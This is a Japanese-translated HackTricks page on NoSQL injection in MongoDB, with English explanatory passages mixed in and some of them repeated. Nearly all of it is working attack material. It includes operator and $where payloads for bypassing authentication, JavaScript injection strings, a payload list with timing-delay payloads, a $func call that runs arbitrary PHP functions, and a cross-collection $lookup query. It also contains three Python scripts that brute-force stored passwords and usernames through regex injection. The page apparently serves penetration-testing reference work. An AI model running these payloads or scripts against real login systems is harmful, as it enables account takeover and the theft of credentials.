15 KiB
NoSQLインジェクション
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し自動化します。
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**htARTE (HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ !
HackTricksをサポートする他の方法:
- HackTricksで会社を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmでフォロー**する。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
Exploit
PHPでは、送信されるパラメータを parameter=foo から parameter[arrName]=foo に変更することで、配列を送信できます。
エクスプロイトは、オペレーターを追加することに基づいています。
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
基本認証バイパス
等しくない ($ne) もしくはより大きい ($gt) を使用する
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
SQL - Mongo
NoSQL Injection
NoSQL databases like MongoDB are also vulnerable to injection attacks. The injection techniques used in NoSQL databases are different from those used in traditional SQL databases. In NoSQL databases, attackers can manipulate queries to retrieve unauthorized data or perform malicious operations.
NoSQL Injection Payloads
Attackers can exploit NoSQL injection vulnerabilities by using payloads that manipulate the logic of the query. These payloads can include logical operators such as $gt
(greater than), $ne
(not equal), and $regex
(regular expression) to modify the query's behavior and retrieve sensitive information.
Example
In a MongoDB query, an attacker can manipulate the logic to bypass authentication and retrieve user data by injecting a payload like {"username": {"$ne": null}, "password": {"$ne": null}}
. This payload modifies the query to retrieve user data without requiring a valid username and password.
Preventing NoSQL Injection
To prevent NoSQL injection attacks, developers should sanitize user input, validate input data types, and use parameterized queries. By implementing proper input validation and query sanitization, developers can mitigate the risk of NoSQL injection vulnerabilities.
query = { $where: `this.username == '${username}'` }
攻撃者は、admin' || 'a'=='a
のような文字列を入力することで、タウトロジー('a'=='a'
によって条件を満たす)を使用してクエリを返すようにし、すべてのドキュメントを返すように悪用することができます。これは、SQLインジェクション攻撃に類似しており、' or 1=1-- -
のような入力が使用されてSQLクエリを操作することがあります。MongoDBでは、' || 1==1//
、' || 1==1%00
、またはadmin' || 'a'=='a
のような入力を使用して同様のインジェクションが行われる可能性があります。
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
長さ情報を抽出
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
データ情報を抽出
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
SQL - Mongo
NoSQL Injection
NoSQL databases like MongoDB are also vulnerable to injection attacks. In MongoDB, injection attacks can occur when untrusted data is sent as part of a query.
Example
Consider the following MongoDB query:
db.users.find({username: " + req.body.username + "})
An attacker can manipulate the query by sending a payload like:
{"username": {"$gt": ""}, "password": {"$gt": ""}}
This payload will return all user documents from the users
collection, as the conditions $gt: ""
will always be true.
Prevention
To prevent NoSQL injection, always validate and sanitize user input before including it in a database query. Use parameterized queries or ORM libraries that handle input validation automatically.
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
PHP任意関数の実行
MongoLiteライブラリの**$func**演算子を使用すると、デフォルトで使用される可能性があり、このレポートに記載されているように、任意の関数を実行できるかもしれません。
"user":{"$func": "var_dump"}
異なるコレクションから情報を取得する
異なるコレクションから情報を取得するには、$lookupを使用することができます。次の例では、users
という異なるコレクションから読み取り、ワイルドカードに一致するパスワードを持つすべてのエントリの結果を取得しています。
[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
MongoDB ペイロード
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
Blind NoSQLスクリプト
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
POSTログインからのユーザー名とパスワードの総当たり攻撃
これは簡単なスクリプトで、変更することができますが、以前のツールでもこのタスクを実行できます。
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
for u in get_usernames(""):
get_password(u)
ツール
- https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
- https://github.com/C4l1b4n/NoSQL-Attack-Suite
参考文献
- https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
- https://nullsweep.com/a-nosql-injection-primer-with-mongo/
- https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb
htARTE (HackTricks AWS Red Team Expert) で **ゼロからヒーローまでのAWSハッキングを学ぶ**
HackTricks をサポートする他の方法:
- HackTricks で企業を宣伝したい または HackTricks をPDFでダウンロードしたい 場合は SUBSCRIPTION PLANS をチェックしてください!
- 公式PEASS&HackTricksのグッズを入手する
- The PEASS Family を発見し、独占的な NFTs のコレクションを見つける
- 💬 Discordグループ に参加するか、 telegramグループ に参加するか、 Twitter 🐦 @carlospolopm をフォローする
- HackTricks と HackTricks Cloud のGitHubリポジトリに PRを提出 して、あなたのハッキングトリックを共有する
Trickest を使用して、世界で最も高度なコミュニティツールによって強化された ワークフローを簡単に構築 および 自動化 してください。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}